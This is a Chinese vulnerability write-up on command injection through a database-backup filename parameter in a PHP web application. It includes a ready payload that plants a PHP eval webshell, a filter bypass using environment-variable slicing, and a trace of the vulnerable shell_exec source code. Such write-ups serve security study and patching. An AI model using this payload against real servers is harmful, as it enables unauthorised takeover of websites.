本人是掌控安全第十期菜鸟一枚,师从讲师聂风,下面带来的是关于命令执行的漏洞分享。
攻击者若通过社工,弱口令,钓鱼等方式获取后台的登录权限,进入后台利用通用设置中数据库的备份功能,将备份文件名构造为命令执行的参数,从而获取Webshell。
登录之后点击管理后台。
在后台管理中找到通用设置,在数据库的备份中选择更多选项
,数据备份方式选择系统 MySQL Dump (Shell) 备份
,然后提交。
拦截此数据包,修改其中的filename
参数2021%26echo "<?php eval($_REQUEST[8]);?>">2021%PATHEXT:~0,1%php%262021
。
然后放包,虽然报错,但不影响结果,我们会在根目录发现2021.php
。
备份数据库的时候,根据跳转的URL地址提示,猜测调用的是database.php
文件,在www
下搜索database.php
。
打开之后发现使用了Zend加密。寻找解密网站http://dezend.qiling.org/free/
解密此文件。
然后重点分析命令执行的部分,在文件中发现使用了shell_exec
命令执行函数,其中变量$dumpFile
可控。
// 349~360行
$db = $config["config"]["db"];
$query = $command->setText("SHOW VARIABLES LIKE 'basedir'")->queryRow();
$mysqlBase = $query["Value"];
$dumpFile = core\utils\addslashes(core\utils\PATH_ROOT) . "/" . $backupFileName . ".sql"; //dumpFile由backupFileName拼接而成
@core\utils\unlink($dumpFile);
$mysqlBin = ($mysqlBase == "/" ? "" : core\utils\addslashes($mysqlBase) . "bin/");
$command1 = ("4.1" < $dbVersion ? "--skip-opt --create-options" : "-all");
$command2 = (core\utils\Env::getRequest("extendins") == 1 ? "--extended-insert" : "");
$command3 = (("4.1" < $dbVersion) && ($sqlCompat == "MYSQL40") ? "--compatible=mysql40" : "");
$command4 = (core\utils\is_numeric($db["port"]) ? "--port=\"{$db["port"]}\"" : "--socket=\"{$db["port"]}\"");
$command5 = ($db["port"] ? $command4 : "");
shell_exec("{$mysqlBin}mysqldump --force --quick $command1 --add-drop-table $command2 $command3 --host=\"{$db["host"]}\" $command5 --user=\"{$db["username"]}\" --password=\"{$db["password"]}\" \"{$db["dbname"]}\" $tablesstr > $dumpFile");
在352行发现$dumpFile
由$backupFileName
拼接而成,追踪$backupFileName
发现由$fileName
过滤敏感字符(空格没有过滤)得到。
//235~239行
if (!core\utils\is_dir(self::BACKUP_DIR)) {
core\utils\File::makeDir(self::BACKUP_DIR, 511);
}
$backupFileName = self::BACKUP_DIR . "/" . core\utils\str_replace(array("/", "\\", ".", "'"), "", $fileName);
继续查找$fileName
,发现是获取传参得到的。
//170~175行
$command->execute();
$fileName = core\utils\Env::getRequest("filename");
$hasDangerFileName = core\utils\preg_match("/(\.)(exe|jsp|asp|aspx|cgi|fcgi|pl)(\.|$)/i", $fileName);
if (!$fileName || (bool) $hasDangerFileName) {
return array("type" => "error", "msg" => core\utils\Ibos::lang("Database export filename invalid", "dashboard.default"));
}
那么剩下的就是构造fileName
绕过过滤\/.'
了,我们可以通过切割环境变量的方法得到被过滤的.
,剩下的就是拼接合法的语句了。
绕过WAF运行命令执行漏洞的方法大全
The database backup has Command Injection Vulnerability